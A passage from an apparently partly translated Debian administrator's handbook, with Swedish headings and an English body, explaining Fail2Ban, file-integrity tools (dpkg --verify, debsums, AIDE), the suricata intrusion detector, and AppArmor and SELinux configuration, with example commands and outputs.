Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works...

[...] [DEFAULT] [...] bantime = 10m [...] findtime = 10m [...] maxretry = 5 [...] [sshd] port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s

Fail2Ban will check for failed login attempts for sshd using Python regular expressions defined in /etc/fail2ban/filter.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths-common.conf. If Fail2Ban detects five failed login attempts within 10 minutes, it will ban the IP address where those attempts originated for 10 minutes.

To enable, disable, or configure “jails“, the main configuration file /etc/fail2ban/jail.conf is not supposed to be altered. Instead this is supposed to be done in /etc/fail2ban/jail.d/defaults-debian.conf or files within the same directory.

Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.

A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.

14.3.4. Upptäcka förändringar

Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).

14.3.4.1. Granskning av paket med dpkg --verify

GOING FURTHER Protecting against upstream changes

dpkg --verify and debsums are useful in detecting changes to files coming from a Debian package, but they will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see Avsnitt 6.6, ”Kontrollerar paketets äkthet”), and taking care to only install packages from a certified origin.

dpkg --verify (or dpkg -V) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in /var/lib/dpkg/info/package.md5sums); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.

TILLBAKA TILL GRUNDERNA Filfingeravtryck

As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm, e.g. MD5 via md5sum or SHA* via various sha* commands being well-known examples, that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task.

Running dpkg -V will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of rpm -V where each character denotes a test on some specific meta-data. Unfortunately dpkg does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).

# dpkg -V ??5?????? /lib/systemd/system/ssh.service ??5?????? c /etc/libvirt/qemu/networks/default.xml ??5?????? c /etc/lvm/lvm.conf ??5?????? c /etc/salt/roster

In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the "c" letter on the second field) that had been legitimately modified.

14.3.4.2. Auditing Packages: debsums and its Limits

debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds).

Since the data on the disk cannot be trusted, debsums offers to do its checks based on .deb files instead of relying on dpkg's database. To download trusted .deb files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all

Note that this example uses the grep-status command from the dctrl-tools package, which is not installed by default.

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. Övervaka filer: AIDE

The AIDE tool (Advanced Intrusion Detection Environment) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (/var/lib/aide/aide.db) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with aideinit; it is then used daily (by the /etc/cron.daily/aide script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (/var/log/aide/*.log) and sends its findings to the administrator by email.

IN PRACTICE Protecting the database

Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.

Many options in /etc/default/aide can be used to tweak the behavior of the aide package. The AIDE configuration proper is stored in /etc/aide/aide.conf and /etc/aide/aide.conf.d/ (actually, these files are only used by update-aide.conf to generate /var/lib/aide/aide.conf.autogenerated). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the aide.conf(5) manual page is therefore recommended.

En ny version av databasen genereras dagligen i /var/lib/aide/aide.db.new; om alla lagrade ändringar var legitima kan de användas för att ersätta referensdatabasen.

ALTERNATIV Tripwire och Samhain

Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by tripwire is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.

Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar SNABBKOLL checksecurity och chkrootkit/rkhunter paketen). It can also be deployed globally on a network, and record its traces on a central server (with a signature).

SNABBKOLL checksecurity och chkrootkit/rkhunter paketen

The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.

The chkrootkit and rkhunter packages allow looking for rootkits potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.

rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

14.3.5. Upptäcka intrång (IDS/NIDS)

BACK TO BASICS Denial of service

A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).

Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: DDoS and DoS (depending on whether the denial of service attack is distributed or not).

suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata.io

→ https://www.elastic.co/products/kibana

CAUTION Range of action

The effectiveness of suricata is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting suricata should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.

Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation.

On top of this, you should also edit it to define the network interface. You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target).

To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it.

Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources.

GÅ VIDARE Integration med prelude

Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the manager in prelude-manager) which gathers alerts generated by sensors of various types.

Suricata can be configured as such a sensor. Other possibilities include prelude-lml (Log Monitor Lackey) which monitors log files (in a manner similar to logcheck, described in Avsnitt 14.3.1, ”Övervakning av loggar med logcheck”).

14.4. Introduktion till AppArmor

14.4.1. Principer

AppArmor is a Mandatory Access Control (MAC) system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.

AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in Avsnitt 14.5, ”Introduktion till SELinux”), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).

AppArmor profiles are stored in /etc/apparmor.d/ and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the apparmor_parser command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.

14.4.2. Aktivera AppArmor och hantera AppArmor-profiler

AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing apt install apparmor apparmor-profiles apparmor-utils with root privileges.

AppArmor fungerar efter installationen och aa-status bekräftar det snabbt:

# aa-status apparmor module is loaded. 32 profiles are loaded. 15 profiles are in enforce mode. /usr/bin/man [...] 17 profiles are in complain mode. /usr/sbin/dnsmasq [...] 1 processes have profiles defined. 1 processes are in enforce mode. /usr/sbin/libvirtd (468) libvirtd 0 processes are in complain mode. 0 processes are unconfined but have a profile defined.

NOTERA Fler AppArmor-profiler

The apparmor-profiles package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install apparmor-profiles-extra which contains profiles developed by Ubuntu and Debian.

The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit.

# aa-enforce /usr/bin/pidgin Setting /usr/bin/pidgin to enforce mode. # aa-complain /usr/sbin/dnsmasq Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Skapa en ny profil

Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.

The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an aa-unconfined command to list the programs which have no associated profile and which expose an open network socket. With the --paranoid option you get all unconfined processes that have at least one active network connection.

# aa-unconfined 451 /usr/bin/containerd not confined 467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined 892 /usr/sbin/exim4 not confined

In the following example, we will thus try to create a profile for /sbin/dhclient (there already is a profile shipped by apparmor-profiles, so you can compare your results to the official one). For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:

# aa-genprof dhclient Writing updated profile for /usr/sbin/dhclient. Setting /usr/sbin/dhclient to complain mode. Before you begin, you may wish to check if a profile already exists for the application you wish to confine. See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish S Reading log entries from /var/log/syslog. Profile: /usr/sbin/dhclient Execute: /usr/sbin/dhclient-script Severity: unknown (I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish P Should AppArmor sanitise the environment when switching profiles? Sanitising environment is more secure, but some applications depend on the presence of LD_PRELOAD or LD_LIBRARY_PATH. [(Y)es] / (N)o Y Writing updated profile for /usr/sbin/dhclient-script. Complain-mode changes: Profile: /usr/sbin/dhclient Capability: net_raw Severity: 8 [1 - capability net_raw,] (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding capability net_raw, to profile. Profile: /usr/sbin/dhclient Capability: net_bind_service Severity: 8 [1 - #include <abstractions/nis>] 2 - capability net_bind_service, (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding #include <abstractions/nis> to profile. Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/openssl> 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish 2 Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 1 - #include <abstractions/lightdm> [2 - #include <abstractions/openssl>] 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, [(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore A [...] Profile: /usr/sbin/dhclient-script Path: /usr/bin/dash New Mode: owner r Severity: unknown 1 - #include <abstractions/gvfs-open> [2 - #include <abstractions/lightdm>] 3 - #include <abstractions/ubuntu-browsers.d/plugins-common> 4 - #include <abstractions/xdg-open> 5 - owner /usr/bin/dash r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish A Adding #include <abstractions/lightdm> to profile. Deleted 2 previous matching profile entries. = Changed Local Profiles = The following local profiles were changed. Would you like to save them? [1 - /usr/sbin/dhclient] 2 - /usr/sbin/dhclient-script (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t S Writing updated profile for /usr/sbin/dhclient. Writing updated profile for /usr/sbin/dhclient-script. Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish F Setting /usr/sbin/dhclient to enforce mode. Setting /usr/sbin/dhclient-script to enforce mode. Reloaded AppArmor profiles in enforce mode. Please consider contributing your new profile! See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Finished generating profile for /usr/sbin/dhclient.

Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript.

The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).

Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.

At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.

Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it.

Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile.

After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.

aa-genprof is in fact only a smart wrapper around aa-logprof: it creates an empty profile, loads it in complain mode and then run aa-logprof which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.

If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to the profile shipped by apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient.

And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to /usr/share/apparmor/extra-profiles/sbin.dhclient, shipped in apparmor-profiles too.

14.5. Introduktion till SELinux

14.5.1. Principer

SELinux (Security Enhanced Linux) is a Mandatory Access Control system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.

SELinux uses a set of rules — collectively known as a policy — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (targeted and strict) are provided to avoid the bulk of the configuration work.

With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its security context. The context is defined by the identity of the user who started the process, the role and the domain that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.

Figur 14.1. Säkerhetskontext och Unix användare

In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.

Obviously the rights do not apply to all objects (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a type (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).

EXTRA Domäner och typer är likvärdiga

Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types.

By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example ssh is labeled with ssh_exec_t, and when the program starts, it automatically switches to the ssh_t domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.

Figur 14.2. Automatiska övergångar mellan domäner

IN PRACTICE Finding the security context

To find the current security context in a shell, you should call id -Z.

$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

If you receive a message saying id: --context (-Z) works only on an SELinux-enabled kernel instead, then you need to enable SELinux first by running selinux-activate and rebooting.

To find the security context of a given process, you should use the Z option of ps.

$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (Multi-Category Security) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.

Finally, to find the type assigned to a file, you can use ls -Z.

$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.

14.5.2. Konfigurera SELinux

SELinux-stödet är inbyggt i Debians standardkärnor. De centrala Unix-verktygen stöder SELinux utan några ändringar. Det är därför relativt enkelt att aktivera SELinux.

The apt install selinux-basics selinux-policy-default auditd command will automatically install the packages required to configure an SELinux system.

The selinux-policy-default package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the unconfined module (modules management is detailed further in this section).

Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with fixfiles relabel.

The SELinux system is now ready. To enable it, you should add the selinux=1 security=selinux parameter to the Linux kernel. The audit=1 parameter enables SELinux logging which records all the denied operations. Finally, the enforcing=1 parameter brings the rules into application: without it SELinux works in its default permissive mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the GRUB_CMDLINE_LINUX variable in /etc/default/grub and to run update-grub. SELinux will be active after a reboot.

It is worth noting that the selinux-activate script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).

14.5.3. Hantera ett SELinux-system

The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the semodule command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the semanage command.

Those two commands can thus be used to modify the current SELinux configuration, which is stored in /etc/selinux/default/. Unlike other configuration files that you can find in /etc/, all those files must not be changed by hand. You should use the programs designed for this purpose.

GÅ VIDARE Mer dokumentation

Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution.

→ https://selinuxproject.org

You should also have a look at the dedicated Debian wiki page.

→ https://wiki.debian.org/SELinux

14.5.3.1. Hantera SELinux-moduler

Available SELinux modules are stored in the /usr/share/selinux/default/ directory. To enable one of these modules in the current configuration, you should use semodule -i module.pp.bz2. The pp.bz2 extension stands for policy package (compressed with bzip2).

Removing a module from the current configuration is done with semodule -r module. Finally, the semodule -l command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with semodule -e and disabled with semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2 libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system. # semodule -l accountsd acct [...] # semodule -e abrt # semodule -d accountsd # semodule -l abrt acct [...] # semodule -r abrt libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.

semodule immediately loads the new configuration unless you use its -n option. It is worth noting that the program acts by default on the current configuration (which is indicated by the SELINUXTYPE variable in /etc/selinux/config), but that you can modify another one by specifying it with the -s option.

14.5.3.2. Hantera identiteter

Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the semanage command.

You should definitely read the semanage(8) manual page. All the managed concepts have their own manual page; for instance, semanage-login(8). Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain).

semanage login -l lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the __default__ entry. The semanage login -a -s user_u user command will associate the user_u identity to the given user. Finally, semanage login -d user drops the mapping entry assigned to this user.

# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * rhertzog user_u s0 * root unconfined_u s0-s0:c0.c1023 * # semanage login -d rhertzog

semanage user -l lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (/home/user/*). The prefix must be picked among user, staff, and sysadm. The “staff” prefix results in files of type “staff_home_dir_t”. Creating a new SELinux user identity is done with semanage user -a -R roles -P prefix identity. Finally, you can remove an SELinux user identity with semanage user -d identity.

# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u

14.5.3.3. Hantera filkontexter, portar och booleska

Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the /srv/www/ file hierarchy, you could execute semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" followed by restorecon -R /srv/www/. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.

Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run semanage port -m -t http_port_t -p tcp 8080.

Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/).

# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on

14.5.4. Anpassa reglerna

Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the reference policy.

To create new modules, the selinux-policy-dev package is required, as well as selinux-policy-doc. The latter contains the documentation of the standard rules (/usr/share/doc/selinux-policy-doc/html/) and sample files that can be used as templates to create new modules. Install those files and study them more closely:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile $ cp /usr/share/doc/selinux-policy-doc/example.fc ./ $ cp /usr/share/doc/selinux-policy-doc/example.if ./ $ cp /usr/share/doc/selinux-policy-doc/example.te ./

The .te file is the most important one. It defines the rules. The .fc file defines the “file contexts”, that is the types assigned to files related to this module. The data within the .fc file are used during the file labeling step. Finally, the .if file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.

14.5.4.1. Skriva en .fc fil

Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.

Exempel 14.2. example.fc fil

# myapp executable will have: # label: system_u:object_r:myapp_exec_t # MLS sensitivity: s0 # MCS categories: <none> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Skriva en .if fil

In the sample below, the first interface (“myapp_domtrans”) controls who can execute the application. The second one (“myapp_read_log”) grants read rights on the application's log files.

Each interface must generate a valid set of rules which can be embedded in a .te file. You should thus declare all the types that you use (with the gen_require macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.

Exempel 14.3. example.if fil

## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The desc ## tag can also use p, ul, and ol ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to transition. ## </summary> ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to read the log files. ## </summary> ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file read_file_perms; ')

DOKUMENTATION Förklaringar om referenspolicy

The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Skriva en .te fil

Ta en titt på example.te filen:

GÅ VIDARE m4 makrospråket

To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar allow directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.

In practice, m4 is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of allow directives.

The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.

policy_module(example,1.0.0) # a non-base module name must match the file name ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # Myapp local policy # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

Modulen måste identifieras med dess namn och versionsnummer. Detta direktiv krävs.

If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.

Those interfaces define the myapp_t type as a process domain that should be used by any executable labeled with myapp_exec_t. Implicitly, this adds an exec_type attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the userdomain module allows processes with domains user_t, staff_t, and sysadm_t to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of dpkg with its dpkg_t domain).

logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them).

The allow directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “type:class“ where type is its SELinux type and class describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).

Permissions are defined as the set of allowed operations and follow this template: { operation1 operation2 }. However, you can also use macros representing the most useful permissions. The /usr/share/selinux/devel/include/support/obj_perm_sets.spt lists them.

The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted.

